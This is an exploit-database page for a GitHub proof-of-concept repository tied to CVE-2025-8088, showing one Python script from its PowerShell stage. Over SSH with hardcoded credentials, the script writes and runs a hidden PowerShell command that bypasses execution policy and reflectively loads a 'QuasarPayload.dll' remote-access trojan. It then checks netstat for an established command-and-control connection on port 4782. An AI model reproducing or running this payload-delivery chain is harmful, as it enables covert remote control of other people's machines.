Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files52Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage02_PowerShell/exploit/test_lnk_cmd.py

Python · 2,306 bytes
import paramiko, time

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)

ssh.exec_command('taskkill /f /im powershell.exe 2>nul')
time.sleep(2)

# Run the EXACT command from the LNK - no keepalive (Application.Run blocks)
cmd = (
    'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe '
    '-WindowStyle Hidden -ExecutionPolicy Bypass -Command '
    '"[Reflection.Assembly]::LoadFrom(''C:\\Users\\Public\\QuasarPayload.dll'').'
    'EntryPoint.Invoke($null,([string[]]@()))"'
)
print('CMD:', cmd[:200])

# Write as .ps1 to avoid quote issues
ps1 = (
    '[Reflection.Assembly]::LoadFrom("C:\\Users\\Public\\QuasarPayload.dll").'
    'EntryPoint.Invoke($null,([string[]]@()))'
)

sftp = ssh.open_sftp()
with sftp.open('C:\\Users\\Public\\test_lnk_cmd.ps1', 'w') as f:
    f.write(ps1)
sftp.close()

channel = ssh.get_transport().open_session()
channel.settimeout(60)
channel.exec_command(
    'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
    '-File "C:\\Users\\Public\\test_lnk_cmd.ps1"'
)
time.sleep(30)

stdin,stdout,stderr = ssh.exec_command('tasklist /FI "IMAGENAME eq powershell.exe" 2>nul', timeout=5)
r = stdout.read().decode('gbk', errors='replace')
has_ps = 'powershell.exe' in r and '没有' not in r and 'No' not in r
print('PS:', 'RUNNING' if has_ps else 'NOT FOUND')

stdin,stdout,stderr = ssh.exec_command('netstat -ano | findstr "4782" | findstr "ESTABLISHED"', timeout=5)
c2 = stdout.read().decode('gbk', errors='replace').strip()
print('C2:', c2[:300] if c2 else 'NONE')
if 'ESTABLISHED' in c2: print('*** PS LOAD + C2 CONNECTED ***')

# Also check Quasar PID
stdin,stdout,stderr = ssh.exec_command('netstat -ano | findstr "4782" | findstr "ESTABLISHED"', timeout=5)
for line in stdout.read().decode('gbk', errors='replace').strip().split('\n'):
    parts = line.strip().split()
    if len(parts) >= 5:
        pid = parts[-1]
        # Check what process has this PID
        stdin2,stdout2,stderr2 = ssh.exec_command(f'wmic process where ProcessId={pid} get Name 2>nul', timeout=5)
        name = stdout2.read().decode('gbk', errors='replace').strip()
        print(f'PID {pid}: {name[:100] if name else "?"}')

channel.close()
ssh.close()